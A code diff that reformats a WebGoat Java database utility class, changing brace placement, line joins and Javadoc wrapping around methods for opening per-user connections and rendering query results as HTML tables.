public static Connection getConnection(WebSession s) throws ClassNotFoundException, SQLException
{
return getConnection(s.getUserName(), s.getWebgoatContext());
}
@ -62,12 +60,12 @@ public class DatabaseUtilities
throws ClassNotFoundException, SQLException
{
Connection conn = connections.get(user);
if (conn != null && !conn.isClosed())
return conn;
if (conn != null && !conn.isClosed()) return conn;
conn = makeConnection(user, context);
connections.put(user, conn);
if (dbBuilt.get(user) == null) {
if (dbBuilt.get(user) == null)
{
new CreateDB().makeDB(conn);
dbBuilt.put(user, Boolean.TRUE);
}
@ -80,25 +78,21 @@ public class DatabaseUtilities
try
{
Connection connection = connections.get(user);
if (connection == null || connection.isClosed())
return;
if (connection == null || connection.isClosed()) return;
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle"))
connection.close();
}
catch (SQLException sqle)
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
} catch (SQLException sqle)
{
sqle.printStackTrace();
}
}
private static Connection makeConnection(String user, WebgoatContext context)
throws ClassNotFoundException, SQLException
private static Connection makeConnection(String user, WebgoatContext context) throws ClassNotFoundException,
SQLException
{
Class.forName(context.getDatabaseDriver());
if (context.getDatabaseConnectionString().contains("hsqldb"))
return getHsqldbConnection(user, context);
if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
String userPrefix = context.getDatabaseUser();
String password = context.getDatabasePassword();
@ -106,25 +100,30 @@ public class DatabaseUtilities
return DriverManager.getConnection(url, userPrefix + "_" + user, password);
}
private static Connection getHsqldbConnection(String user, WebgoatContext context)
throws ClassNotFoundException, SQLException
private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
SQLException
{
String url = context.getDatabaseConnectionString().replaceAll("\\$\\{USER\\}", user);
return DriverManager.getConnection(url, "sa", "");
}
/**
* Description of the Method
*
* @param results Description of the Parameter
* @param resultsMetaData Description of the Parameter
* @param results
* Description of the Parameter
* @param resultsMetaData
* Description of the Parameter
*
* @return Description of the Return Value
*
* @exception IOException Description of the Exception
* @exception SQLException Description of the Exception
* @exception IOException
* Description of the Exception
* @exception SQLException
* Description of the Exception
*/
public static MultiPartElement writeTable(ResultSet results,
ResultSetMetaData resultsMetaData) throws IOException, SQLException
public static MultiPartElement writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
@ -151,8 +150,7 @@ public class DatabaseUtilities
for (int i = 1; i < (numColumns + 1); i++)
{
String str = results.getString(i);
if (str == null)
str = "";
if (str == null) str = "";
row.addElement(new TD(str.replaceAll(" ", "&nbsp;")));
}
@ -163,8 +161,7 @@ public class DatabaseUtilities
}
else
{
return (new B(
"Query Successful; however no data was returned from this query."));
return (new B("Query Successful; however no data was returned from this query."));
}
}

Some files were not shown because too many files have changed in this diff Show More